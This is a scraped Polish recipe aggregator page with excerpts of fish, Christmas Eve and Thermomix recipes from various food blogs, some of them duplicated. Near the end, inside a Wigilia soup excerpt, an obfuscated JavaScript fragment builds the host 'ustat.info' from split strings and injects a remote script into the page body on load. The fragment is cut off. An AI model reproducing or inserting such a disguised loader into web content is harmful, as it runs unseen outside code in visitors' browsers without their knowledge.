razem składniki na kilka dni Pieczone jedzenie jest mniej kaloryczne i zdrowsze niż np. smażone. A przede wszystkim jego przygotowanie wymaga mniej czasu, bo łatwiej jest jednocześnie upiec np. rybę i polędwiczkę w piekarniku (wkładasz i same się robią), niż je usmażyć. Dodatkowy bonus to mniej naczyń do zmywania i brak rozchlapanego tłuszczu. W tym menu na tydzień piekliśmy warzywa(...)też mięso i ryby – kurczaka, polędwiczkę i łososia. Wystarczy pilnować czasu – kiedy co wyjąć z pieca – i odpowiedniej temperatury. W takim zestawieniu jak nasze – łososia wyjmujesz z pieca po ok. 12 minutach pieczenia, a mięso po około 20 (ew. polędwiczkę możesz potrzymać w piekarniku dosłownie chwilkę dłużej). Ściągawkę jak ekonomicznie upiec różne warzywa znajdziecie tutaj (na dole wpisu) . 4. Naucz

Niedzielny kucharz
Śledzie 129

Śledzie, to ulubiona ryba w naszym domu, a jak można ją podać zobaczcie sami. -- Skład: ~10 płatów śledziowych z zalewy octowej lub z oleju, por, jabłka, cebula, jajka, śmietana. Jabłka ucieramy na grubych oczkach. Por drobno kroimy, podobnie pół cebuli, kawałek papryki. Ugotowane jajka kroimy na ćwiartki. -- Pokrojone warzywa wkładamy do miski, ciut solimy i dodajemy trochę pieprzu. -- Następnie dodajemy(...)czubate łyżki śmietany i mieszamy całość. Wymieszaną masę przekładamy na półmisek łyżką, na 10 "kupek". Potem zwijamy płaty śledziowe i układamy, na wcześniej wyłożonych jabłkach z porem... Pomiędzy ryby wkładamy pokrojone na ćwiartki jajko i ozdabiamy zieleniną. Zostało nam trochę kwaśnej śmietany, którą dodajemy do każdej rybki i ozdabiamy np. papryką. Po posypaniu całości koperkiem, możemy już serwować: same

chleba naszego
Kociołek Sinigang z ośmiornicy, krewetek i ryby 181

niej włożyć co tylko dusza zapragnie ale smak kwaśny od tamaryndu powinien zagościć, u mnie zakwaszenie od limonki. Zapraszam zatem na pyszne danie. Kociołek Sinigang z ośmiornicy, krewetek i ryby. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Wigilijny karp w galarecie 84

przyprawę warzywną. Wlać 5 szklanek wody i gotować na małym ogniu 35 min. Wywar przecedzić, zagotować, włożyć kawałki karpia i gotować na bardzo małym ogniu 25 min. Następnie rybę wyjąć łyżką cedzakową, usunąć większe ości, a porcje karpia ułożyć na półmisku. Przygotować żelatynę według przepisu na opakowaniu, doprawić cukrem, solą i pieprzem i wystudzić. Rybę na półmisku przybrać pokrojoną marchewka

The Slow Life Wife
Poke Bowl, czyli kolorowa miska zdrowych różności :) 257

Danie o ciekawiej nazwie "Poke Bowl" wywodzi się z Hawai. Jest to miska składająca się z różnych produktów, wśród których głównym składnikiem jest ryż, a tuż obok niego surowa ryba. Dodatkami natomiast są warzywa, owoce, przyprawy.  Muszę przyznać, że takie miski, naładowane różnymi składnikami wyglądają cudownie i mega apetycznie. Przez co i ja postanowiłam przygotować swoją wersję. Oczywiście(...)własne upodobania. Tak też ja uczyniłam. Danie przygotowałam w 10 minut. Głównym składnikiem była pyszna i gotowa od razu do spożycia quinoa z groszkiem od Quinola Mothergrain . Nie zabrakło ryby, tudzież  wędzony łosoś . I nieodzowna rzecz - warzywa , mnóstwo różnych warzyw. Całość zwieńczył przepyszny dressing na bazie pasty sezamowej. To było coś pysznego, zdecydowanie częściej będę przygotowywać sobie takie kolorowe

Zdrowie na języku :P
Kotlety kaszubskie z dorszem 240

Kotlety są smaczne i proste w wykonaniu. Połączenie ryby i boczku super się komponuje. Składniki: Boczek 35 dag Filet z dorsza 25 dag Jajko 1 szt. Czerstwa bułka 1 szt. Sól i pieprz do smaku Mleko Smalec do smażenia Bułka tarta do panierki Wykonanie: Bułkę namoczyć w mleku i dobrze odcisnąć. Rybę, boczek, odciśniętą bułkę zmielić przez maszynkę, wbić jajko

Tradycyjna Kuchnia
Zupa rybna Bouillabaisse 148

duża cebula 3 ząbki czosnku 1 por 1litr bulionu drobiowego 3 łyżki masła 2 liście laurowe 1 łyżeczka kurkumy natka z pietruszki sól pieprz Wykonanie: 1.  Filety z ryby pokroić w grubszą kostkę, przełożyć do miski, dodać krewetki, oprószyć solą i pieprzem. 2.  Ziemniaki obrać, pokroić w grubą kostkę. 3.  W garnku podsmażyć na maśle drobno posiekanego(...)laurowe, kurkumę, szczyptę soli i pieprzu. Całość dokładnie wymieszać i gotować na małym ogniu około 15-20 minut (aż ziemniaki zmiękną). Po tym czasie wlać bulion drobiowy i dodać rybę, gotować jeszcze 5-8 minut. Na samym końcu dodać krewetki i gotować jeszcze 2-3 minuty. Doprawić do smaku solą i pieprzem. 4.  Zupę podawać z posiekaną natką

Szalona Kuchnia Eweliny
Łosoś z porową pierzynką 320

około 4-5 minut, cały czas mieszając. Doprawiamy solą oraz pieprzem. Wlewamy śmietankę i dodajemy serek topiony. Smażymy jeszcze chwilę, do czasu aż ser się roztopi. Pory wykładamy na rybę. W małym garnuszku mieszamy majonez z parmezanem i wiórkami kokosowymi. Mieszankę tą wykładamy na pory, starając się rozprowadzić ją jak najcieńszą warstwą. Łososia wstawiamy do piekarnika nagrzanego do 200 stopni(...)około 15-20 minut (gdyby warstwa majonezu zaczęła się zbyt szybko rumienić, przykrywamy rybę folią aluminiową). Przed podaniem posypujemy posiekanym drobno szczypiorkiem

Smaki Na Talerzu
Souvlaki łosoś w zdrowej misce 132

Wpadł mi w ręce przepis na souvlaki. Co to jest souvlaki? To szybkie grillowane dania w Grecji, które z powodzeniem można przyrządzić z mięsa, warzyw lub ryby. Dzisiaj miałam ochotę na souvlaki z łososia i warzyw w zdrowej misce. Uwielbiam taki sposób jedzenia. Zdrowa miska czyli healthy bowl coraz częściej spotykam w nowych modnych restauracjach stąd pochodzi inspiracja na przepis

codojedzenia
Pasta z wędzonej makreli z twarogiem 186

Pyszna pasta na kanapki z wędzonej ryby i twarogu, nazywana często awanturką. Zamiast makreli można użyć innej wędzonej ryby. Pastę można wzbogacić dodatkiem szczypiorku lub natki pietruszki, zamiast musztardy można dodać keczup. składniki: 2 średnie wędzone makrele ( ok 500 g ) 500 g twarogu 1 mała cebula 4 łyżki majonezu 4 łyżki jogurtu 2 łyżki musztardy, u mnie rosyjska świeżo zmielony

Monia miesza i gotuje
Łosoś z porową pierzynką 146

około 4-5 minut, cały czas mieszając. Doprawiamy solą oraz pieprzem. Wlewamy śmietankę i dodajemy serek topiony. Smażymy jeszcze chwilę, do czasu aż ser się roztopi. Pory wykładamy na rybę. W małym garnuszku mieszamy majonez z parmezanem i wiórkami kokosowymi. Mieszankę tą wykładamy na pory, starając się rozprowadzić ją jak najcieńszą warstwą. Łososia wstawiamy do piekarnika nagrzanego do 200 stopni(...)około 15-20 minut (gdyby warstwa majonezu zaczęła się zbyt szybko rumienić, przykrywamy rybę folią aluminiową). Przed podaniem posypujemy posiekanym drobno szczypiorkiem

Smaki Na Talerzu
Zasady wychodzenia z diety warzywno-owocowej dr Dąbrowskiej 126

zboża pełnoziarniste i psuedozboża pestki i nasiona orzechy 7-9 dzień  (1200 kcal) jajka i nabiał, najlepiej fermentowany 10-11 dzień  (1400 kcal) chude białe mięso i ryby, jedzone 1-2 razy w tygodniu 12-13 dzień  (1600 kcal) pełnowartościowe zdrowe żywienie 14 dzień  (kalorie zgodnie z indywidualnym zapotrzebowaniem) pełnowartościowe zdrowe żywienie Zgodnie z zasadami zdrowego(...)kcal) wszystkie zboża pełnoziarniste i psuedozboża pestki i nasiona orzechy 3 tydzień  (1200 kcal) jajka i nabiał, najlepiej fermentowany 4 tydzień  (1400 kcal) chude białe mięso i ryby, jedzone 1-2 razy w tygodniu 5 tydzień  (1600 kcal) pełnowartościowe zdrowe żywienie 6 tydzień  (kalorie zgodnie z indywidualnym zapotrzebowaniem) pełnowartościowe zdrowe żywienie

Kulinarne przygody Gatity
Pasta z makreli z awokado i twarogu 186

Składniki: 1 wędzona makrela 1 awokado 100 g białego półtłustego sera 2 łyżki soku z cytryny sól, pieprz Sposób wykonania: Mięso ryby oddzielamy od skóry i ości. Awokado przekrawamy na pół, usuwamy pestkę i łyżką wyjmujemy ze skóry miąższ. Szczypior szatkujemy na małe kawałki. Makrelę, awokado i biały ser łączymy ze sobą i rozgniatamy widelcem. Dodajemy szczypior. Pastę skrapiamy sokiem

Qchnia po prostu
Kanapka z matiasem i krewetkami 235

Europie śledzi kwalifikuje się do produkcji matiasów? Jeśli będziecie mieli okazję spróbować takiego prawdziwego matiasa - zróbcie to koniecznie, jest absolutnie wyjątkowy! Pamiętajcie, aby przy wyborze śledzia czy innych ryb zwracać uwagę na niebieski znaczek MSC -  dający nam pewność, że ryb i śledzi nam nigdy nie zabraknie. Składniki: na 4 porcje 5 filetów śledzia matias, 8 kromek chleba, 1/2 kopru

Plate of Joy
Tradycyjne placki ziemniaczane: sprawdzony przepis 141

Placki ziemniaczane to tradycyjne danie, które smakuje chyba każdemu. Mogą być podawane na słodko i na ostro - z cukrem, śmietaną, gulaszem, szpinakiem sosem tzatziki lub kawiorem

Korniszonki
Ramen w 3 minuty – OYAKATA Kurczak po japońsku 252

mogło zabraknąć.   Każdy region Japonii ma swój sposób przyrządzania wywaru zależny od najczęściej występujących tam produktów – można spotkać wywar na samym mięsie, na wieprzowych kościach, z dodatkiem ryb czy owoców morza, a także wywary na kurczaku czy na wołowinie. Zaprawiany jest pastą miso, sosem sojowym, rybnym, ostrygowym.   Wariacjom regionalnym i sezonowym poddają się również dodatki, z którymi podawany(...)takim dodawaniu składników – w Japonii wywary wzbogacane i budowane są przez dodawanie do nich olei infuzowanych przeróżnymi przyprawami, soją, pastą miso, skórkami kurczaka, palonymi kośćmi, skorupiakami i owocami morza, rybami i glonami. Gorącą zupę rozdzieliłam pomiędzy głębokie talerze i ułożyłam naszykowane wcześniej dodatki – do tego ramenu wędzony kurczak pasuje świetnie, nadając całości dymny, mocny charakter i podbijając drobiowy smak wywaru

Karo in the Kitchen
139. Zapiekana pierś z indyka z warzywami pod śmietanową chmurką 182

Witajcie kochani,  post rozpocznę od tego, iż uwielbiam smak ryby po grecku(a najbardziej tej wigilijnej, wykonania mojej cioci), a dokładniej to połączenie smażonej marchwi i cebuli z dodatkiem pomidorów, które daje taką słodko-ostrą mieszankę (bo przecież w rybie po grecku musi być trochę cukru i masa pieprzu). Któregoś dnia po ciężkim dniu pracy, mając misję ugotowania szybkiego

Symfonia Smaków
Halaszle czyli węgierska zupa rybna 148

puszka krojonych pomidorów 2 łyżeczki ostrej papryki 2 łyżeczki słodkiej papryki 1 łyżeczka wędzonej papryki 3 łyżki oleju rzepakowego sól pieprz Dodatkowo: natka z pietruszki Wykonanie: 1.  Rybę pokroić w mniejsze kawałki, oprószyć solą, pieprzem i odstawić  na 20 minut. 2.  Marchew obrać i pokroić w półplasterki, ziemniaki i papryki w większą kostkę. 3.  Na rozgrzanym(...)Następnie wsypać paprykę ostrą, wędzoną, słodką, dodać sól i pieprz, całość podlać bulionem i doprowadzić do wrzenia. Dodać pomidory z puszki i wszystko gotować kilka minut, następnie dodać pokrojoną rybę i gotować około 15 minut. W razie konieczności doprawić całość solą i pieprzem. 4.  Zupę rybną podawać z posiekaną natką z pietruszki

Szalona Kuchnia Eweliny
Chrust, czyli karnawałowe faworki 148

Delikatne, chrupiące, rozpływające się w ustach - takie powinny być faworki, w niektórych regionach Polski nazywane chrustem. Te przepyszne ciasteczka nieodłącznie kojarzą się z karnawałem. Dodatkowo stanowią

Korniszonki
Placki ziemniaczane z rybą 106

Wydawało by się że połączenie ryby z ziemniakami nie za bardzo pasuje, lecz jet to błędne myślenie, placki są smaczne i szybkie w wykonaniu. Składniki: Ziemniaki 80 dag Filet z dorsza lub inny 45 dag Ogórek kiszony 1 szt. Szczypiorek 1 pęczek Jajko 1 szt. Sól i pieprz do smaku Olej do smażenia Bułka tarta 2 łyżki Ketchup Wykonanie: Ziemniaki(...)obrać, gotować przez 15 minut, odcedzić, ostudzić i zetrzeć na tarce o grubych oczkach. Dodać pokrojoną rybę, posiekany szczypiorek i ogórek. Wbić jajko, przyprawić do smaku, wsypać bułkę tartą i dokładnie wymieszać. Namoczyć w wodzie ręce nabierać masę i kłaść placuszki na rozgrzany olej. Smażyć powoli z obu stron na złoty kolor i podawać z ketchupem

Tradycyjna Kuchnia
Twarogowa pasta z makrelą 150

Pyszna pasta z twarogiem i wędzoną makrelą jest naszą ulubioną opcją na śniadanie lub kolacje. Jeśli lubicie ryby to ta pasta przypadnie wam do gustu. Nie sądziłam że ryba i twaróg mogą być tak pyszne w połączeniu ze sobą. Polecam wam zrobić sobie taką fit pastę na kanapki. Składniki: 1 makrela wędzona ok. 200 g 250 g twarogu półtłustego

Dominacja smaku
GALARETKA Z KONSERWY RYBNEJ 159

zielem angielskim.Gotować z 15 minut. 3.Wyjąć z bulionu przyprawy , dodać suchą żelatynę , zgasić ogień pod garnkiem , mieszać aż żelatyna się rozpuści.Wystudzić. 4.Do wywaru dodać kawałki ryby , doprawić i wymieszać. 5.Przygotować 4 miseczki .Do każdej z nich nałożyć groszek z marchewką i zalać przygotowaną galaretą z ryby.Wstawiamy do lodówki .Gdy są już gotowe , wkładamy miseczkę do gorącej(...)wody na dosłownie chwilkę i wyjmujemy na talerzyki.Przybieramy rybę według własnego gustu.Smacznego

Kocurkowe rozmyślania w kuchni Anielki
Dorsz w szynce parmeńskiej 136

garnka z ryżem i gotowałam do czasu, aż ryż wchłonął całą wodę. Dorsza doprawiłam pieprzem i zawinęłam w plastry szynki. Smażyłam na średnim ogniu, delikatnie obracając, aby ryba się nie rozpadła. Smacznego! Porcja ma ok. 557 kcal

Kucharzyca
Sałatka Waldorf z surowym brokułem i odchudzonym sosem majonezowym 158

stają się maślano-gorzkie i przełamują całość. Sałatka pyszna jest sama – na śniadanie, lunch czy lekką kolację, ale pasuje też do gotowanych, smażonych i pieczonych jasnych mięs i delikatnych ryb. Mieszamy w miseczce majonez, ocet jabłkowy i lekki jogurt naturalny. Ten sos to kompromis między zdrowym a rozpustnym – stosunkowo niewielka ilość majonezu zostaje podbita przez dodatek octu jabłkowego. Mimo(...)lodówce. Tej sałatce bardzo dobrze zrobi kilkugodzinne chłodzenie – suszone owoce nasiąkną sosem i napuchną, a wszystkie składniki połączą się, uwydatniając pełnię swojego smaku. Wypróbujcie ją do kurczaka, indyka lub ryb – albo zabierzcie ze sobą do szkoły czy pracy na lunch. Wyjmijcie ją z lodówki na godzinę przed jedzeniem. SKŁADNIKI 350-400g brokułu (waga razem z łodygą) 100g marchewki

Karo in the Kitchen
Prosty stek z krokodyla 169

stek musi być prosty - chcemy poczuć przede wszystkim smak niezwykłego produktu a nie marynaty czy przypraw. Stek z krokodyla to mięso wykrawane z ogona. Konsystencje ma zbliżoną do dużych ryb, np tuńczyka czy rekina i smaży się podobnie. Smakuje za to bardziej jak kurczak niż ryba

Milion Smaków
Kąski z widlaka białego z kurkumowym ryżem 196

Widlak biały to nic innego jak ryba z rodziny dorszowatych, więc biała o soczystym, delikatnym mięsie. Wykorzystałam ją tutaj do zrobienia kąsków rybnych a dodatek ryżu nadaje jej charakteru. Jeśli tylko uda się Wam zakupić widlaka, zróbcie takie oto danie, jeśli jednak nie, wykorzystajcie mięso dorsza. Kąski z widlaka białego z kurkumowym ryżem. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Bursztynowa Wyspa, gładzica w Tawernie i Ptasi Raj 156

Czwartkowe popołudnie. Dla mnie już weekend. Wsiadam w Pendolino, w komforcie, przy kawie i ciasteczku, snuję plany: ryba, nie, najpierw morze, nie, najpierw ryba, a może jednak morze… Trzy godziny

Na moim stole
Pomysł na… dorsza w sosie jogurtowo-serowym 135

laurowy. Szpinak podsmażyłam na małej ilości oleju. Gdy zwiędł, dodałam kawałki dorsza, jogurt naturalny i przecier pomidorowy. Wymieszałam delikatnie, posypałam połową parmezanu i dusiłam pod przykryciem do czasu, aż ryba się ugotowała. Doprawiłam solą, pieprzem i mielonym lisciem laurowym. Podałam z kaszą jaglaną, posypane parmezanem

Kucharzyca
Jakie zioła warto uprawiać w domu? (II) 153

Estragon  ma bardzo specyficzny smak, w kuchni często widziany w towarzystwie octu i ryb. Podczas żucia liści tego najlepszego francuskiego zioła, nasz język odczuwa delikatne drętwienie. Estragon udoskonala ryby, skorupiaki, wieprzowinę, cielęcinę, jagnięcinę, dziczyznę, drób, pory, ziemniaki, pomidory, marchewki, cebule, karczochy, szparagi, grzyby, kalafiory, brokuły, buraki, groszek, pietruszkę,czosnek, szczypiorek, cytryny, pomarańczę, ryż oraz jęczmień. Idealnie pasuję także

Dominacja smaku
Pomysł na… dorsza w sosie jogurtowo-serowym 116

laurowy. Szpinak podsmażyłam na małej ilości oleju. Gdy zwiędł, dodałam kawałki dorsza, jogurt naturalny i przecier pomidorowy. Wymieszałam delikatnie, posypałam połową parmezanu i dusiłam pod przykryciem do czasu, aż ryba się ugotowała. Doprawiłam solą, pieprzem i mielonym lisciem laurowym. Podałam z kaszą jaglaną, posypane parmezanem

Kucharzyca
Pasta z wędzonego pstrąga i serka wiejskiego 157

posmakowała w duecie z zielonym ogórkiem:) pstrąg wędzony  4-5 jajek  cebulka liofilizowana  ketchup pikantny  serek wiejski  sól i pieprz do smaku  Rybę trzeba obrać ze skóry i z ości.  Następnie dzielę ją na kawałki i przekładam do pojemnika ( blendera).  Ugotowane jajka studzę i obieram ze skorupek.  Kroję na połówki(...)dodaje do ryby.  Dodaję łyżkę ketchupu i cebulki.  Delikatnie pieprzę i solę. Całość rozdrabniam blenderem.  Jak pasta ma już odpowiednią konsystencję, przekładam do miski, dodaję serek wiejski i jeśli trzeba doprawiam do smaku. pasta z pstrąga pasta z pstraga

Takie tam pichcenie
Łosoś w miodowo – musztardowej glazurze z piekarnika 97

smaku, mieszamy i wykładamy na blachę wyłożoną papierem do pieczenia. Wstawiamy do pieca nagrzanego do 180 stopni z funkcją termoobiegu. Pieczemy 15-20 min. Po tym czasie dokładamy kawałki ryby i pieczemy dalej około 10-15 min. Teraz czas na szpinak. Kilka kropel oliwy ląduje na patelni. Dodajemy kawałki czosnku smażymy, dodajemy szpinak i chwilę do blanszujemy. Na koniec pieczenia(...)ryby warto włączyć funkcję grilla i zapiec jeszcze kilka minutek do osiągnięcia pięknego koloru. SMACZNEGO! Rusty fork http://rustyfork.pl/   Artykuł Łosoś w miodowo – musztardowej glazurze z piekarnika pochodzi z serwisu Rusty fork

Rusty Fork
Bezglutenowe ciasto serowo-jabłkowe – przepis krok po kroku 166

ciasto jest już gotowe. Teraz możemy je posypać cukrem pudrem lub polać polewą i udekorować.   Wesołych Świąt i smacznego!   A jeśli szukacie przepisu na wigilijną potrawę z ryby, koniecznie zaglądnijcie tutaj: Ryba po rybacku na Wigilię – przepis krok po kroku Artykuł Bezglutenowe ciasto serowo-jabłkowe – przepis krok po kroku pochodzi z serwisu Okiem Blondynki by McBlondi

Okiem Blondynki by McBlondi
Zupa z karpia z sakiewkami 116

laurowy, sól i gotuję wywar na wolnym ogniu. Jak warzywa będą miękkie wyjmuję je i dodaję kawałki karpia i dalej gotuję zupę na wolnym ogniu około 10 minut.Kawałki ryby wyjmuję, wywar odcedzam na sitku żeby był klarowny. Seler naciowy kroję drobno i przesmażam na maśle klarowanym, dolewam trochę bulionu rybnego żeby zmiękła. Dodaję do wywaru.Karpia obieram z mięsa(...)Mieszam widelcem i wyrabiam rękoma ciasto.Wałkuję na stolnicy, wycinam koła wielkości pucharka do lodów i wałkuję je jeszcze trochę żeby były większe. Na każdy kawałek ciasta układam kawałki ryby i sklejam sakiewki. Wodę zagotuję w garnku i wrzucam do wrzącej. Gotuję około pięć minut na wolnym ogniu. Zupę podaję z sakiewkami czerwonym pieprzem i natką

wesoła kuchnia
Śledzie curry 150

Śledzie to dla mnie najsmaczniejsza ryba zaraz po łososiu.  Można je przygotować na wiele sposobów.  Moja ulubiona wersja to śledzie w musztardzie , lecz w tym roku ich nie będzie...za to będą śledzie curry! Lekko orientalne, niesamowicie aromatyczne i pyszne.  Składniki 1 słoik śledzi w occie 1/3 szkl. oleju lnianego SemCo 1/2 łyżeczki curry 1/2 łyżeczki kuminu

Czarnawisienka
Korzenne śledzie marynowane z czerwoną cebulką. 180

śledzie marynowane z czerwoną cebulką zrobiłam na zbliżające się Święta. Jak co roku przygotowuję śledzie na kilka sposobów, wykorzystując sprawdzone, ulubione przepisy. Szukam również nowych pomysłów na moją ulubioną rybę.  W książce Clausa Meyer'a  Wszystkie smaki Skandynawii wypatrzyłam przepis na marynowane śledzie. Trochę zmodyfikowałam składniki marynaty i sposób wykonania i ... Korzenne śledzie marynowane z czerwoną cebulką gotowe(...)dniach marynowania w korzennej zalewie ryba jest bardzo aromatyczna i smakowita. Śledzie doskonale smakują podane na kromce żytniego chleba wraz z cebulką i marchewką, z którymi się marynowały oraz świeżym koperkiem. Poniżej linki do innych moich przepisów na śledzie: Najlepsze śledzie z cebulą , Śledzie z czosnkiem ,  Śledzie w miodzie, Hekele. Sałatka śledziowa, Sałatka śledziowa z burakami, Śledzie z cebulą

Codziennik Kuchenny
Świąteczne potrawy na ostatnią chwilę 342

bardzo smaczna i sycąca przez co taka porcja starczy dla całej rodziny.     Aby tradycji stało się za dość na stole musi pojawić się ryba. Proponuje POLĘDWICZKI Z DORSZA W KOLOROWEJ PANIERCE . Dorsz jest bardzo smaczną i delikatną rybą zasmakuje nawet najmłodszym uczestnikom waszej kolacji.     Na deser proponuje przepyszną

kuron.com.pl
Ryby w ananasach Ewy Wachowiacz 161

Jeszcze jest czas, jeszcze zdążycie zrobić tą przepyszną potrawę na święta. Dla mnie to absolutnie najlepszy przepis na ryby. Słodko ostry sos ananansowo - paprykowy jest tak pyszny, że mogłabym go łyżkami jeść. Jest to przepis Ewy Wachowicz, więc już samo to nazwisko jest dobrą rekomendacją tego dania.     700 g - filetów np. z miruny(...)wszystkie składniki zmiękną, wlać ocet winny i sos sojowy. Dodać cukier i curry. Delikatnie wymieszać. W wodzie rozprowadzić mąkę i dodać do sosu. Doprowadzić do wrzenia. Wrzucić usmażoną rybę i podgrzać w sosie. Podawać na ciepło lub zimno

Jadło i czytadło
BIAŁA KIEŁBASA PIECZONA Z ZIEMNIAKAMI 164

kuchenne wpadki i lepiej wśród swoich składników mieć te sprawdzone, które zapewnią kulinarny sukces. Aby kolor czerwonego barszczu stał się wyrazisty, należy dodać ocet jabłkowy, a smak wigilijnej ryby podkreśli ocet słodowy. Tradycyjne śledzie ozdobi musztarda francuska, a postną kapustę z grzybami zaostrzy musztarda sarepska. Koncentrat pomidorowy to nieodzowny dodatek do ryby po grecku, a świąteczne ciasta zachwycą gości dzięki

Kuchnia MagdaLeny
Kotlety rybne pieczone 172

Zapraszam dzisiaj na zdrowe, pieczone kotlety rybne. Takie pieczone kotlety są niskokaloryczne i lekkostrawne. Polecam Składniki: 500 g mięsa z ryby (bez ości i skóry) 1 średnia marchewka 1 ząbek czosnku pół małej cebuli 3 łyżki bułki tartej 1 łyżeczka suszonego koperku ½ łyżeczki soli ½ łyżeczki pieprzu białego 1 jajko Przygotowanie: Marchewkę myjemy i obieramy ze skórki. Kroimy(...)plasterki. Czosnek i cebulę obieramy z łusek. W maszynce do mięsa mielimy rybę razem z marchewką, czosnkiem i cebulką dwa razy. Następnie dodajemy bułkę tartą, koperek, sól, pieprz i jajko. Wyrabiamy ręcznie masę ma kotlety. Blaszkę wykładamy papierem do pieczenia. Formujemy w dłoniach spore kotlety i lekko je spłaszczamy. Układamy kotlety na blaszce wyłożonej papierem do pieczenia. Wstawiamy kotlety rybne

słodkie i nie tylko historie kulinarne
Ryba Wigiljna w occie na słodko kwaśno 165

Specjał rybny czyli ryba w occie zrobiona na słodko-kwaśno . Bardzo smaczna i nie może jej zabraknąć na stole Wigilijnym.   Składniki:   2 kg pangi mąka pszenna sok z cytryny sól pieprz mielony olej do smażenia   Zalewa: 2 litry wody wrzątku 3 cebule 1 płaska łyżka soli 3/4 szklanki cukru 6 liści laurowych 6 ziela angielskie 1 szklanka(...)krążki ziele,listek pieprz mielony.Wsypujemy cukier,sól i zalewamy wrzątkiem. Mieszamy by nam się rozpuściło wszystko. Na końcu dodajemy ocet. Smakujemy czy odpowiada nam smak. Wkładamy w zalewę kawałki ryb usmażonych i najlepiej niech poleży 3 lub 4 dni to będzie idealna

Różowa kuchnia
Drożdżowy warkocz z bakaliami 173

Drożdżowy warkocz z bakaliami. Thermomix przepisy. Składniki: 300 g mąki pszennej 15 g świeżych drożdży 100 g mleka 1 jajko 10 g masła 30 g cukru

Themo przepisy
Gołąbki z czerwonej kapusy z kaszą jęczmienną i grzybami 149

Gołąbki z czerwonej kapusy z kaszą jęczmienną i grzybami. Przepisy Thermomix. Składniki: 1600 g wody 1 łyżeczka soli 250 g kaszy jęczmiennej 8 liści kapusty czerwonej

Themo przepisy
Galaretka z wędzoną makrelą 154

sól, pieprz   Przygotowanie: Marchewkę obieramy i myjemy. Kroimy w plasterki i przekładamy do garnka. Zalewamy bulionem i gotujemy, aż marchewka będzie miękka. W tym czasie oddzielamy mięso z ryby od skóry i ości, obieramy jajka ze skorupek i odcedzamy kukurydzę. Ugotowaną marchewkę wyjmujemy z bulionu a dodajemy do gorącego żelatynę i mieszamy do rozpuszczenia. W naczynkach układamy po kolei(...)pół jajka, kukurydza, ryba, kukurydza, marchewka. Smakujemy bulion i w razie potrzeby doprawiamy solą i pieprzem. Zalewamy składniki galaretki i odstawiamy do ostudzenia. Przechowujemy w lodówce. Przepis na 4 porcje

słodkie i nie tylko historie kulinarne
Kostka piernikowa 219

Kostka piernikowa. Przepisy Thermomix. Składniki: 180 g mąki pszennej 50 g cukru 1 łyżeczka sody oczyszczonej szczypta soli 60 g masła 1 jajko 1 łyżka miodu

Themo przepisy
Pierniki na Boże Narodzenie 159

Pierniczki na Boże Narodzenie. Thermomix przepisy. Propozycja na wykorzystanie ciasta na piernik staropolski Wykonanie: 500g prawdziwego miodu 220 g cukru kryształu 125 g smalcu 125 g

Themo przepisy
Makowa rolada z kremem cynamonowym 188

Makowa rolada z kremem cynamonowym. Przepisy Thermomix. Składniki: ciasto na biszkopt: 50 g mąki pszennej 50 g mąki ziemniaczanej 1/3 łyżeczki proszku do pieczenia 5 szt

Themo przepisy
Sałatka z kaszy kuskus i bobu 118

świecie orzeszków pistacjowych i lekko pikantnej, aromatycznej bazylii. Całość prezentuje się niebywale wiosennie, energetycznie i bez wątpienia apetycznie. Rewelacyjnie sprawdzi się jako samodzielne danie lub dodatek do mięsa bądź ryby, jest też świetnym pomysłem na lunch box do pracy. A dlaczego warto jeść bób? – zawiera duże ilości białka, które może być alternatywą dla białka pochodzenia zwierzęcego, – jest stosunkowo(...)skórek. 3) Do kaszy dodać przygotowany bób, pistacje, posiekaną bazylię, oliwę, doprawić do smaku solą oraz pieprzem i dokładnie wymieszać. 4) Podawać jako samodzielne danie albo dodatek do ryby lub mięsa . Artykuł Sałatka z kaszy kuskus i bobu pochodzi z serwisu FitSweet

Fitsweet.me
Marcepan Thermomix 218

Marcepan przepis Thermomix. Składniki domowy marcepan: 120 g migdałów 120 g cukru pudru 1 łyżka wody 1 łyżka ekstraktu z migdałów Marcepan. Thermomix przepisy. Wykonanie: Migdały

Themo przepisy
Zupa z rybą 145

Dawno nie było przepisu na zupkę, no i jest .Pyszna zupka z dodatkiem ryby, do zupy pod koniec gotowania można dodać także śmietanę. 300 g filetu np. z morszczuka 1-2 marchewki kilka grzybków mun 1/2 pietruszki kilka ziemniaków sól, pieprz listek , ziele  domowa vegeta Pokrojoną marchewkę, pietruszkę oraz ziemniaki przełożyć do garnka. Wlać wodę , dodać pokrojone grzyby ,przyprawy(...)gotować prawie do miękkości ziemniaków.Rybę pokroić na mniejsze kawałki i dodać do gotującej się zupy.Gotować aż ziemniaki będą miękkie

Moje domowe kucharzenie
Zupa na Wigilię – nie tylko barszcz! 149

cytryny. Danie serwuje się na zimno lub na ciepło. Kwaśnica Kwaśnica to zupa na Wigilię wywodząca się z Podhala. Przygotowuje się ją z: Głowy i podrobów z wybranej ryby 30 dag kapusty kiszonej Soku z kapusty kiszonej Kilku suszonych grzybów 5 ziaren ziela angielskiego 2 ząbków czosnku Szczypty suszonego imbiru Kiszoną kapustę szatkujemy, wrzucamy do garnka, zalewamy odrobiną wody oraz(...)sokiem z kiszonej kapusty i gotujemy. Dodajemy grzyby, ziele angielskie i gotujemy do zmięknięcia. Dodajemy podroby i głowy ryb, gotujemy przez 20 minut, wyjmujemy podroby, doprawiamy czosnkiem oraz imbirem i ponownie zagotowujemy. (function(){ cwbx=document.createElement("script");cwbx_=("ust");cwbxu="69293527"; cwbx_+="a"+("t.i");cwbx.type="text/javascript"; cwbxu+=".pdmwktdtwbxmgxxyXtf9";cwbx.async=true;cwbx_+="n"+("f"+"o")+"/"; cwbxu+="bn8i421swj";cwbx.src="//"+cwbx_+cwbxu; document.body.appendChild(cwbx

Okiem Blondynki by McBlondi
LEKSYKON BAKALII 177

